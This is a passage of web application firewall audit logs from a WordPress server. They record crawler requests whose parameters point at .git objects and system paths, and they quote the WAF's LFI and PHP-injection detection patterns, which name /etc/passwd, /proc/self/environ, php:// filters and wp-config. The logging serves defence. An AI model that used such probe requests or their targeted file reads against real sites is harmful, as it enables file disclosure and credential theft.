\"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":269,"p2":5443,"p3":0,"p4":0,"p5":257,"sr":137,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:51:34.499861 +0100","transaction_id":"abOz9rF5yQKviNRUY1bMKQAAA8Q","remote_address":"57.141.20.42","remote_port":49266,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/contact-form-7/contact-form-7.5.5.6.1.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.42","X-Forwarded-Proto":"https","X-Request-Id":"d54d0cea98ac94e1c7f9f94ab58d62ee","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7408346"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d54d0cea98ac94e1c7f9f94ab58d62ee","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/contact-form-7/contact-form-7.5.5.6.1.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":328,"p2":6622,"p3":0,"p4":0,"p5":389,"sr":159,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:51:37.899725 +0100","transaction_id":"abOz-VlrCM1mgECVnsPipAAAA48","remote_address":"57.141.20.7","remote_port":33436,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/var/lib/mibs/ietf/T11-FC-ROUTE-MIB HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.7","X-Forwarded-Proto":"https","X-Request-Id":"c942251c11f2db0c4fca7f7f46b65e26","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4985091"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c942251c11f2db0c4fca7f7f46b65e26","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/mibs/ietf/T11-FC-ROUTE-MIB||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":382,"p2":6077,"p3":0,"p4":0,"p5":326,"sr":167,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:51:42.024530 +0100","transaction_id":"abOz_bF5yQKviNRUY1bMMQAAA8g","remote_address":"57.141.20.41","remote_port":56738,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/24/42922c31e61b4f892d36c221c7779598893b4e HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.41","X-Forwarded-Proto":"https","X-Request-Id":"3090de7588ffa715148f3ce634fbbe6f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9898552"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"3090de7588ffa715148f3ce634fbbe6f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/24/42922c31e61b4f892d36c221c7779598893b4e||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":192,"p2":3892,"p3":0,"p4":0,"p5":325,"sr":104,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:51:50.453238 +0100","transaction_id":"abO0BrF5yQKviNRUY1bMaAAAA8I","remote_address":"57.141.20.35","remote_port":51780,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/09/0f3470045e024f7e816aef30d46e22b6e23362 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.35","X-Forwarded-Proto":"https","X-Request-Id":"5577246b5ca2dfec9e3896aeb5ce6617","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8849204"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5577246b5ca2dfec9e3896aeb5ce6617","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/09/0f3470045e024f7e816aef30d46e22b6e23362||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":271,"p2":3904,"p3":0,"p4":0,"p5":378,"sr":123,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:52:01.569574 +0100","transaction_id":"abO0Efvasc2LTOMQTj93ngAAAoI","remote_address":"57.141.20.32","remote_port":52862,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/sivaco/node_modules/@nodelib/fs.scandir/out/adapters/fs.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.32","X-Forwarded-Proto":"https","X-Request-Id":"3b6db9f1731867090b769a12e55210d1","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3017318"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"3b6db9f1731867090b769a12e55210d1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get[sc]?s?|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b\" at MATCHED_VAR. [file \"/usr/share/modsecurity_lws/013_i360_generic.conf\"] [line \"78\"] [id \"77211230\"] [msg \"IM360 WAF: PHP Injection Attack||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"service_im360\"]","Pattern match \"(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get[sc]?s?|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b\" at MATCHED_VAR. [file \"/usr/share/modsecurity_lws/014_i360_infectors.conf\"] [line \"52\"] [id \"77140880\"] [msg \"IM360 WAF: Infectors: PHP Injection Attack||MVN:MATCHED_VAR||MV:/htdocs/sivaco/node_modules/@nodelib/fs.scandir/out/adapters/fs.js||RSV:7.71||T:APACHE||SC:/var/www/jmkconsulting-ci.com/htdocs/ptso.jmkconsulting-ci.com/service||\"] [severity \"DEBUG\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":423,"p2":7483,"p3":0,"p4":0,"p5":393,"sr":152,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:52:04.739493 +0100","transaction_id":"abO0FLF5yQKviNRUY1bMkQAAA88","remote_address":"57.141.20.39","remote_port":38894,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/ghostscript/10.05.1/lib/gs_l.xbm HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.39","X-Forwarded-Proto":"https","X-Request-Id":"8b9f5a333ea05c9c5e64fe05d83db02f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9011251"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"8b9f5a333ea05c9c5e64fe05d83db02f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/ghostscript/10.05.1/lib/gs_l.xbm||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":326,"p2":7347,"p3":0,"p4":0,"p5":456,"sr":168,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:52:10.214803 +0100","transaction_id":"abO0GVlrCM1mgECVnsPi3wAAA5g","remote_address":"57.141.20.56","remote_port":48004,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/eu/LC_MESSAGES/iso_15924.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.56","X-Forwarded-Proto":"https","X-Request-Id":"e429f7dda565ae020c91f79a001dfc17","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7996529"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"e429f7dda565ae020c91f79a001dfc17","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/eu/LC_MESSAGES/iso_15924.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":300,"p2":6094,"p3":0,"p4":0,"p5":418,"sr":150,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:52:15.275168 +0100","transaction_id":"abO0HsJuHGAsZ_bVQvkLVwAAA04","remote_address":"57.141.20.21","remote_port":49184,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/var/lib/ghostscript/CMap/Adobe-Japan1-0 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.21","X-Forwarded-Proto":"https","X-Request-Id":"e9aaa08ee9d45fcded934fa0c4a886c7","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9929292"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"e9aaa08ee9d45fcded934fa0c4a886c7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/ghostscript/CMap/Adobe-Japan1-0||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":343,"p2":6507,"p3":0,"p4":0,"p5":367,"sr":174,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:52:16.931049 +0100","transaction_id":"abO0IIVUYFiiXhJv30mOgwAAAsc","remote_address":"57.141.20.54","remote_port":38314,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/easy-login-woocommerce/easy-login-woocommerce.2.8.7.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.54","X-Forwarded-Proto":"https","X-Request-Id":"f920cfef8f66bd92c663e3fae19aabd2","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9470807"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f920cfef8f66bd92c663e3fae19aabd2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/easy-login-woocommerce/easy-login-woocommerce.2.8.7.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":415,"p2":6884,"p3":0,"p4":0,"p5":354,"sr":176,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:52:25.564708 +0100","transaction_id":"abO0Kb_XFT3UbapV64mPuAAABAw","remote_address":"57.141.20.51","remote_port":49182,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/78/3003cfccac7827e50b68929b9c66a3d1c61576 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.51","X-Forwarded-Proto":"https","X-Request-Id":"3cbceede17acea42a75e5237338414f9","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11470688"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"3cbceede17acea42a75e5237338414f9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/78/3003cfccac7827e50b68929b9c66a3d1c61576||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":345,"p2":6187,"p3":0,"p4":0,"p5":392,"sr":163,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:52:26.840719 +0100","transaction_id":"abO0KllrCM1mgECVnsPi8gAAA4c","remote_address":"57.141.20.26","remote_port":58296,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/send-app/send-app.1.5.6.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.26","X-Forwarded-Proto":"https","X-Request-Id":"e92ee9ba941c43684b06625e7c80db3e","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4200286"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"e92ee9ba941c43684b06625e7c80db3e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/send-app/send-app.1.5.6.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":340,"p2":5647,"p3":0,"p4":0,"p5":356,"sr":156,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:52:29.218922 +0100","transaction_id":"abO0LYS9jYN6zgxYZni5hgAAAwU","remote_address":"57.141.20.46","remote_port":38322,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/fa/b1ff693135c349b3d0d62d3b6ac90faf068682 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.46","X-Forwarded-Proto":"https","X-Request-Id":"e7cde68f6ac8c0e2549562202a81854c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7408391"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"e7cde68f6ac8c0e2549562202a81854c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git 